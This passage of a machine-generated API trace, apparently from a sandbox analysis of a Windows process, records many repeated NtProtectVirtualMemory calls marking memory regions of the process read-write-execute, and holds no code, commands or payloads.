NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.680] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.700] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.728] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.748] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.775] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.822] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.858] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.879] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.932] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.953] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.963] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.991] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.050] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.063] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.080] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.091] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.101] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.111] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.139] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.149] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.160] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.188] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.215] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.247] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.264] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.275] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.286] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.297] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.314] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.427] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.437] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.462] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.503] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.534] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.556] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.580] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.596] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.617] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.644] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.655] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.665] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.675] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.740] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.750] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.780] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.801] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.811] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.828] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.850] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.861] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.933] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 